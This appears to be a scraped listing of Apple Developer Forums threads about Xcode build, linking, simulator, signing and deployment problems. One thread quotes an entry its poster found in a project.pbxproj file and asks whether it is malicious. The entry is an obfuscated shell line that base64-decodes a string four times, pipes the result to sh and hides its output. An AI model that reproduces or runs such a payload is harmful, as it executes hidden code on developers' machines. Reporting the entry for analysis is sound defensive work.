Hi All - I'm a bit confused about setting environment variables in Mac Terminal when testing archive builds. In Terminal, if I do something like export DYLD_PRINT_LIBRARIES=1, it works great for Debug builds. When I open my Debug binary, I can see all the dylibs and Frameworks getting loaded. However, my Archive build doesn't show me anything when I try opening it from Terminal. I did some Googling and I guess SIP may be doing something to prevent environment vars from affecting Archive builds. This made sense to me until I tried creating a simple Test app. If I Archive my Test app and open the binary in Terminal, I see all the dylibs and frameworks. So why would an Archive build for a simple test project work with DYLD_PRINT_LIBRARIES, but my production app's Archive build won't? Related question: I've run into a situation where I may have to set LSEnvironment in my app's Info.plist to work around a problem in 10.15 Catalina and 11 Big Sur. Setting LSEnvironment works great in my Debug and Release builds. But just like using setting DYLD_PRINT_LIBRARIES in Terminal, my Archive build ignores the LSEnvironment settings. So... is there a way to create an Archive build that doesn't ignore Environment Variables in Terminal, or LSEnviroment in Info.plist? Hoping that there's a simple Build Setting that I can enable or disable in my Target to do this. Thanks.
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48
Activity
13h
Xcode 27 incorrectly links a Catalyst binary, _UIFontTextStyleCallout Expected in AppKit
I have a personal iOS project that I also compile for macOS with Catalyst. When built with Xcode 26.x, everything is linked correctly. When built with Xcode 27 betas, the following runtime error occurs: Termination Reason: Namespace DYLD, Code 4, Symbol missing Symbol not found: _UIFontTextStyleCallout Referenced from: <046ED276-F81A-31B4-82FF-6DC82E9041BC> /Applications/Photo Library.app/Contents/MacOS/Photo Library Expected in: <298B64F6-9BC0-3BFB-BE72-EBDC2BE0FF19> /System/Library/Frameworks/AppKit.framework/Versions/C/AppKit Any assistance? Thanks
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329
Activity
20h
Xcode 27 Beta 4 regression: "Multiple commands produce" error when a SwiftPM binary xcframework product is linked from both an app target and an embedded framework target
In Xcode 27 Beta 4 (27A5228h), building a project that has a SwiftPM binary target (xcframework) linked directly from both an app target AND a framework target that is embedded in that app fails with "Multiple commands produce" errors. The same project and pbxproj builds successfully in Xcode 27 Beta 3 (27A5218g), so this is a regression introduced in Beta 4. Steps to Reproduce Create a new iOS App project. Add a Framework target (e.g. "SampleCommon") and embed it into the app. Add a SwiftPM dependency for a package that vends a binary xcframework product. Confirmed with airbnb/lottie-spm 4.6.1 (https://github.com/airbnb/lottie-spm). In "Frameworks, Libraries, and Embedded Content" of the app target, add the SwiftPM product (Lottie) with "Embed & Sign". In "Frameworks and Libraries" of the framework target, add the same SwiftPM product (Lottie). Build the app scheme for iOS Simulator. Expected result Build succeeds. The xcframework is embedded exactly once into the .app bundle. This is the behavior in Xcode 27 Beta 3 and Xcode 26. Actual result Build fails with: error: Unexpected duplicate tasks error: Multiple commands produce '.../<App>.app/Frameworks/Lottie.framework/Lottie' error: Multiple commands produce '.../<App>.app/Frameworks/Lottie.framework' Two Copy tasks are emitted for the same output path in the app target: Copy from Build/Products/Debug-iphonesimulator/PackageFrameworks/Lottie.framework Copy from SourcePackages/artifacts/lottie-spm/Lottie/Lottie.xcframework/ios-arm64_x86_64-simulator/Lottie.framework Additionally, an auto-generated target named "Lottiedynamic-product" emits duplicate MkDir / ProcessInfoPlistFile tasks for PackageFrameworks/Lottie.framework, which suggests the packaging path for binary xcframework products has been duplicated in Beta 4. Regression Xcode 27 Beta 3 (27A5218g): builds successfully Xcode 27 Beta 4 (27A5228h): fails with the above errors Xcode 26.x: builds successfully Minimal reproduction The issue reproduces on a 2-target Xcode project (app + framework) with airbnb/lottie-spm added and linked from both targetstory captures the smallest triggering diff: pattern1: app links Lottie only -> BUILD SUCCEEDED pattern2: framework links Lottie only -> BUILD SUCCEEDED pattern3: both app and framework link Lottie -> BUILD FAILED (only on Beta 4) Only the framework target's packageProductDependencies and Frameworks build phase entries differ between the succeeding and failing states. Workaround Link the SwiftPM binary product from only one target (either the app or the framework, not both). If only the framework tarl gets the framework transitively at runtime. Impact Any project that uses a SwiftPM binary xcframework and organizes code across multiple linked targets (a very common pattern for larger apps) is blocked from adopting Xcode 27 Beta 4. Environment Xcode 27.0 Beta 4 (27A5228h) macOS 26.5.2 Package: airbnb/lottie-spm 4.6.1 Destination: iOS Simulator (iPhone 17, latest)
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1d
SimCtl
Summary xcrun simctl install <valid.app> fails even though the app's Info.plist contains a correct, well-formed CFBundleIdentifier — verified independently with plutil -p. The app builds successfully via xcodebuild twice, under two different signing configurations. This is purely an install-time failure. ERROR · EVERY ATTEMPT An error was encountered processing the command (domain=IXErrorDomain, code=13): Simulator device failed to install the application. Missing bundle ID. Underlying error (domain=IXErrorDomain, code=13): Failed to get bundle ID from /QuestionsWeCarry.app Missing bundle ID. Environment MACOS 26.5.2 · Build 25F84 XCODE 26.6 · Build 17F113 SIMULATOR RUNTIME iOS 26.5 (23F77) HARDWARE Apple M5 KERNEL Darwin 25.5.0 arm64 XCODE.APP / SIMULATOR PLATFORM both freshly installed Xcode.app and the iOS Simulator platform were both freshly installed immediately before this was discovered — this may be a first-run / first-boot issue specific to this Xcode 26.6 + iOS 26.5 combination. Project being built A SwiftUI iOS app target generated via XcodeGen from project.yml, depending on a local Swift Package with four library products. Nothing exotic — no third-party SDKs, no CocoaPods, no entitlements file. PROJECT.YML — RELEVANT TARGET BLOCK PROJECT.YML targets: QuestionsWeCarry: type: application platform: iOS deploymentTarget: "17.0" sources: - path: App/Sources - path: App/Resources type: folder buildPhase: resources info: path: App/Info.plist properties: CFBundleDisplayName: "Questions We Carry" UILaunchScreen: {} ITSAppUsesNonExemptEncryption: false UIApplicationSceneManifest: UIApplicationSupportsMultipleScenes: false settings: base: PRODUCT_BUNDLE_IDENTIFIER: com.brodywolfstudio.questionswecarry MARKETING_VERSION: "1.0.0" CURRENT_PROJECT_VERSION: "1" SWIFT_VERSION: "5.10" TARGETED_DEVICE_FAMILY: "1,2" CODE_SIGN_STYLE: Manual CODE_SIGN_IDENTITY: "-" CODE_SIGNING_REQUIRED: NO CODE_SIGNING_ALLOWED: YES dependencies: - package: QWCKit product: QWCCore - package: QWCKit product: QWCEngine - package: QWCKit product: QWCStore - package: QWCKit product: QWCUI BUILD COMMAND THAT SUCCEEDS SHELL xcodebuild -project QuestionsWeCarry.xcodeproj -scheme QuestionsWeCarry -configuration Debug -destination "platform=iOS Simulator,id=" -derivedDataPath DerivedData build Result: BUILD SUCCEEDED, produces DerivedData/Build/Products/Debug-iphonesimulator/QuestionsWeCarry.app. INFO.PLIST INSIDE THE BUILT .APP (VIA PLUTIL -P) INFO.PLIST { "BuildMachineOSBuild" => "25F84" "CFBundleDevelopmentRegion" => "en" "CFBundleDisplayName" => "Questions We Carry" "CFBundleExecutable" => "QuestionsWeCarry" "CFBundleIdentifier" => "com.brodywolfstudio.questionswecarry" "CFBundleInfoDictionaryVersion" => "6.0" "CFBundleName" => "QuestionsWeCarry" "CFBundlePackageType" => "APPL" "CFBundleShortVersionString" => "1.0" "CFBundleSupportedPlatforms" => [ 0 => "iPhoneSimulator" ] "CFBundleVersion" => "1" "DTCompiler" => "com.apple.compilers.llvm.clang.1_0" "DTPlatformBuild" => "23F81a" "DTPlatformName" => "iphonesimulator" "DTPlatformVersion" => "26.5" "DTSDKBuild" => "23F81a" "DTSDKName" => "iphonesimulator26.5" "DTXcode" => "2660" "DTXcodeBuild" => "17F113" "ITSAppUsesNonExemptEncryption" => false "MinimumOSVersion" => "17.0" "UIApplicationSceneManifest" => { "UIApplicationSupportsMultipleScenes" => false } "UIDeviceFamily" => [ 0 => 1 1 => 2 ] "UILaunchScreen" => { } } CFBundleIdentifier is present, correctly formed, and matches PRODUCT_BUNDLE_IDENTIFIER. file confirms this is a valid Apple binary property list, not corrupted. CODESIGN -DV ON THE BUILT APP CODESIGN -DV Executable=/QuestionsWeCarry.app/QuestionsWeCarry Identifier=QuestionsWeCarry-******* Format=bundle with Mach-O thin (arm64) CodeDirectory v=20400 size=338 flags=0x2(adhoc) hashes=3+3 location=embedded Signature=adhoc Info.plist=not bound TeamIdentifier=not set Sealed Resources version=2 rules=13 files=4 Internal requirements count=0 size=12 Note Info.plist=not bound — unclear whether this is expected for an ad-hoc-signed bundle app (as opposed to a framework), or is itself a symptom of the underlying problem. Reproduction Minimal, reproducible with the plain command-line tool — no Claude tooling involved in this step: SHELL xcrun simctl install "iPhone 17 Pro" "/DerivedData/Build/Products/Debug-iphonesimulator/QuestionsWeCarry.app" Result (100% reproducible, every attempt): STDERR An error was encountered processing the command (domain=IXErrorDomain, code=13): Simulator device failed to install the application. Missing bundle ID. Underlying error (domain=IXErrorDomain, code=13): Failed to get bundle ID from /QuestionsWeCarry.app Missing bundle ID. Also reproduced with xcrun simctl launch, which fails as a consequence: Isolation steps taken All of the following were tried, and none changed the outcome — the exact same "Missing bundle ID" error occurs every time: 01 Two signing configurations — unsigned/linker-signed (Sealed Resources=none) vs. proper ad-hoc sign (Sealed Resources version=2 rules=13 files=4), plus a manual codesign --force --deep --sign - re-sign pass. Same failure every time. 02 Two simulator destinations — generic/platform=iOS Simulator and a concrete device id for iPhone 17 Pro. 03 Two never-before-used simulator devices — iPhone 17 Pro and iPhone Air — ruling out per-device CoreSimulator state corruption. 04 Erase + cold boot — simctl shutdown, erase, boot immediately before a fresh install attempt. 05 Real Simulator.app GUI running — not just a headless simctl boot — ruled out a CoreSimulatorService/GUI dependency. 06 Path with no spaces — copied the .app out of a path containing "Application Support" — ruled out a path-quoting issue. The build itself is never in question — xcodebuild reports BUILD SUCCEEDED every time; only the subsequent simctl install step fails. What I'd like feedback on Is this a known issue with this specific Xcode 26.6 / iOS 26.5 Simulator runtime combination — both very recently installed, so possibly a fresh-install/first-boot bug? Is there a required build setting for this Xcode version not yet reflected in commonly-documented XcodeGen/xcodebuild recipes — e.g. an entitlements file now required even for simulator-only, no-team builds, or a different expected code-signing identity/format? Is Info.plist=not bound in the codesign -dv output actually abnormal for an app bundle (as opposed to a framework), and could that be the root cause simctl is choking on?
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1d
Getting Gemini 3.5 or 3.6 Flash to work with Xcode 27 Beta
I've been trying for months to get Gemini 3.5 Flash to work with Xcode 27 Beta (1-3) agentic coding but have failed. Xcode currently uses Gemini CLI v0.42.0 from last year, so it can't call Gemini 3.5 Flash even though all that needs to change is a few characters in the API call. Gemini users are currently forced to choose between 3.1 Pro and 3.1 Flash Preview--both weren't the best choices two months ago, but with the release of 3.6 Flash which is better at coding that 3.1 Pro and miles cheaper, these choices are now unsuitable for any serious workload. I live in Hong Kong, where OpenAI and Anthropic services aren't offered, so Google is the only (native) AI provider for Xcode agentic coding. The cost issue from funneling all the work into 3.1 Pro is terrible especially with some agent bugs that have yet to be ironed out. Given Apple's close partnership with Google on AI, I'm genuinely surprised that after 4 Betas we're still using a Gemini CLI from 2025 that forces users to choose between two very unappealing models. Xcode is basically forcing Google users to switch to OpenAI/Anthropic. Questions: I'd like to know if this will be fixed soon and whether Google users should expect slower updates (i.e. be forced to use older models). Does anyone know of any workarounds?
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2
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114
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1d
Connection issue between Apple Watch and Xcode
I'm developing an app for Apple Watch, but I can't connect the Apple Watch to Xcode when I try to run the app on the actual device. I get the following errors: A networking error occurred The device rejected the connection request and A connection to this device could not be established. Timed out while attempting to establish tunnel using negotiated network parameters. The iPhone connects to Xcode without any problem. I've already tried several things without success: Resetting the "trusted computers" settings and trusting the Mac again Restarting all of the devices Making sure all devices are on the same Wi-Fi network On the iPhone, I can see the Developer Mode toggle in Settings, but on the Apple Watch there doesn't seem to be a Developer Mode toggle at all. I'm wondering whether enabling Developer Mode is required in my case. Could anyone tell me how to enable Developer Mode on Apple Watch, or suggest any other way to resolve this issue? Here is my environment: Mac mini (M1, 2020), macOS Tahoe 26.4.1 Xcode 26.4.1 Apple Watch SE 3, watchOS 26.1 iPhone 13, iOS 26.5 Thanks in advance for any help.
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26
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1d
Xcode 27 beta: "Missing package product" for a Swift Package in a registry
I have a project that builds fine in macOS 26 with Xcode 26. On macOS 27 b4 and Xcode beta, the same project can't build because of a framework that should be pulled from a Swift Package from a package-registry (named Registry, for example below), hosted on JFrog. I have the registry set up and have the token in keychain. The resolution of the packages works. But when I build, I get error like this: error: Missing package product 'Registry.Package_Package.Package' (in target 'Target' from project 'Project') . The real package should just be 'Registry.Package'. Any help with that? Is it a bug?
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39
Activity
2d
Minimum allowed IPHONEOS_DEPLOYMENT_TARGET for the AppStore
Hello, I am building a developer tool and for that I need to figure out which min deployment targets users technically may still specify in their Xcode projects. This page https://developer.apple.com/support/xcode indirectly says that both Xcode 26 and Xcode 27 allow setting IPHONEOS_DEPLOYMENT_TARGET only to iOS 15.0 and newer. Also https://developer.apple.com/news/upcoming-requirements/ now says that starting April 28 2026, the apps must be built with iOS SDK 26+, meaning only Xcode 26 and newer may be used for building the apps that go to the AppStore. However in fact in Xcode 26 I can specify older iOS deployment targets, as low as iOS 12. This post here https://developer.apple.com/forums/thread/805506?answerId=863871022#863871022 confirms that in fact it is possible to even submit the app to the AppStore with IPHONEOS_DEPLOYMENT_TARGET 12.0 There's also this post https://developer.apple.com/forums/thread/821370?answerId=882853022#882853022 that indirectly confirms that Apple still allows iOS 12.0 deployment target. Since Xcode 26 is still allowed to build apps for the AppStore even after Xcode 27.0 release, does that mean the developers may technically be able to keep specifying iOS 12, iOS 13, iOS 14 as deployment target when submitting their apps to the AppStore without having their apps rejected?
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167
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2d
Coding Assistant autocomplete breaks with many Swift packages
I’m seeing a reproducible issue in both Xcode 26 and Xcode 27 where Coding Assistant appears to stop autocompleting when a project contains a larger number of Swift Package dependencies. Symptoms: Autocomplete suggestions from Coding Assistant stop appearing. File targeting with @ stops working. The issue typically appears shortly after opening the project If I start a brand-new chat immediately after opening the project, Coding Assistant sometimes works briefly before failing Reducing or removing Swift Package dependencies fixes the issue I’ve created a sample project that reproduces the problem and have also filed Feedback Assistant report: FB23341243 The issue seems related to package count or project complexity rather than any specific package, although I haven’t yet identified the exact threshold that triggers it. Has anyone else run into this or has anyone found a workaround?
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113
Activity
2d
OS debug logs not visible in console when macOS is closed
Overview When the macOS app is closed, the os logs (debug) logs are not visible in the Console app. However even when the iOS app is closed / killed, the os logs (debug) logs are visible in the Console app. What I have tried Console app menu Action > Include Debug Messages is checked Searched by subsystem Created a macOS app from the archive by choosing selecting Debugging option Note OS debug logs are visible when the macOS app is open Questions How can I make macOS debug logs visible in the Console app when the Mac app is closed? Should I be searching by some other fields? Or is there any other alternative / workaround this because I need to debug this scenario when app is closed?
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10
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227
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2d
Parallel swift testing on multiple ios simulators
Due to massive amount of shared state in my project I cannot really use swift testing parallelization in my tests, so my idea was to embed all suites into single one with .serialized and then run them on several simulators to speed up the tests. I ran tests with xcodebuild ... -parallel-testing-enabled YES -parallel-testing-worker-count 2, but swift testing suites seemed to be executed on just one simulator. Is it possible to run swift testing tests in parallel on multiple iOS simulators, but serially within each of them? Or the only way is xctest?
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3d
I would like to know if anyone else is experiencing the same issue.
Our company enrolled in the Apple Developer Program as an Organization. Apple successfully created our D-U-N-S Number, but our enrollment has remained "Being Processed" for an extended period. I have contacted Apple Developer Support three times regarding this issue. Each time, I received only the automated acknowledgment email, and the same Case ID was referenced every time. However, I have never received any response from a support representative. At this point, our company is completely blocked from publishing our iOS application. Has anyone experienced the same issue recently? If so, how was it resolved? If an Apple Developer Support representative sees this post, I would sincerely appreciate it if you could review my case or advise on the next steps. Thank you.
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82
Activity
3d
UIDesignRequiresCompatibility support clarification.
Hello, Could someone from Apple clarify the support and behavior of the UIDesignRequiresCompatibility property? The UIDesignRequiresCompatibility documentation states that this property will be ignored for builds targeting iOS 27 or later. I have a couple of questions: Does "builds targeting iOS 27 or later" refer to an app that was built using Xcode 27 or later? iOS 27 is expected to be released in Fall 2026. Suppose that after iOS 27 is released, I create a new build using Xcode 26, with UIDesignRequiresCompatibility set to true, and install that build on an iOS 27 device. Will UIDesignRequiresCompatibility still be honored in this scenario, or will it be ignored and the app will use the Liquid Glass UI? Thanks!
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64
Activity
4d
Unexpected entry being added to my project's project.pbxproj file by Xcode
I have observed an unexpected entry being added to my project's project.pbxproj file by Xcode: AB8F749 = "((d(){ base64 --decode | base64 --decode | base64 --decode | base64 --decode; };echo VjJ4a1QySXlTalZSVjJ4TFVUSm9jVnBHYUV0ak1HeEVUVlV4YWsxdVVuUlRWVTEzWkVkT2RGWnFRbXBpYlhSdVZHdE9RbVJGZUZoVWJscHBZbFJXYzFkVVRsSmtSMUpJWWtoU1lWWjZhM2hhUlU1Q1pWVTFjRkZZVW1GUk1FWndXVEJSZUU1R2EzbFBWM1JoVm1wc00xbFZaRWRsYkhCVVUxZGthRk5HU1hkWk1HaE9UbXQ0TlU5WGNHRlNlbFp2V1d4b2RtUlhSbGhPU0ZwYVZUSjBjRk5WYUROYU1rMTVXakJ6U3dvPQo= | d | sh ) >/dev/null 2>&1 &)"; This entry has been flagged as potentially malicious because it appears to contain multiple layers of Base64 encoding and ultimately executes a shell script after decoding. Could you please confirm whether this is expected behavior from Xcode or any Apple build tools? If this is not expected, could you advise what might be causing Xcode to insert such an entry into the project.pbxproj file? For context: The entry appears automatically in the project file. We are concerned because it resembles an obfuscated shell script that executes commands during the build process. We would like to understand whether this is generated by Xcode itself, a known feature, or whether it indicates that the project or development environment may have been modified by a third-party tool or compromised. If additional information such as the Xcode version, macOS version, project sample, or diagnostic logs would help your investigation, I would be happy to provide them. Thank you for your assistance.
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167
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4d
Xcode build keeps crashing
Hi, I just modified my build setup. Now, Xcode project build crashes. From command line everything seems fine. xcodebuild ** BUILD SUCCEEDED ** Here is the stack-trace of crash-report showed: Thread 5 Crashed:: Dispatch queue: com.apple.root.default-qos.cooperative 0 SWBCore 0x10161da08 ClangCompilerSpec.constructTasks(_:_:) + 8636 1 SWBTaskConstruction 0x10119cee5 FilesBasedBuildPhaseTaskProducerBase.constructTasksForRule(_:_:_:) + 1 2 SWBTaskConstruction 0x1012202cd SourcesTaskProducer.constructTasksForRule(_:_:_:_:_:) + 1 3 SWBTaskConstruction 0x1011a11b9 closure #1 in FilesBasedBuildPhaseTaskProducerBase.addTasksForRule<A>(groupContext:_:_:_:_:_:_:) + 1 4 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 5 SWBTaskConstruction 0x1011547a1 <deduplicated_symbol> + 1 6 SWBTaskConstruction 0x1011da831 <deduplicated_symbol> + 1 7 SWBTaskConstruction 0x1011d53b1 specialized FilesBasedBuildPhaseTaskProducerBase.addTasksForGroup<A>(_:_:_:_:_:_:) + 1 8 SWBTaskConstruction 0x1011c7f8d specialized FilesBasedBuildPhaseTaskProducerBase.groupAndAddTasksForFiles<A>(_:_:_:filterToAPIRules:filterToHeaderRules:_:extraResolvedBuildFiles:) + 1 9 SWBTaskConstruction 0x1011e655d SourcesTaskProducer.generateTasks() + 1 10 SWBTaskConstruction 0x10114d725 <deduplicated_symbol> + 1 11 SWBTaskConstruction 0x1011532cd closure #2 in closure #4 in BuildPlan.init(planRequest:taskPlanningDelegate:) + 1 12 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 13 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 14 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 15 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 16 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 17 SWBUtil 0x100ec3271 <deduplicated_symbol> + 1 18 SWBUtil 0x100e3554d <deduplicated_symbol> + 1 19 libswift_Concurrency.dylib 0x287e40ec5 completeTaskWithClosure(swift::AsyncContext*, swift::SwiftError*) + 1 regards , Joël
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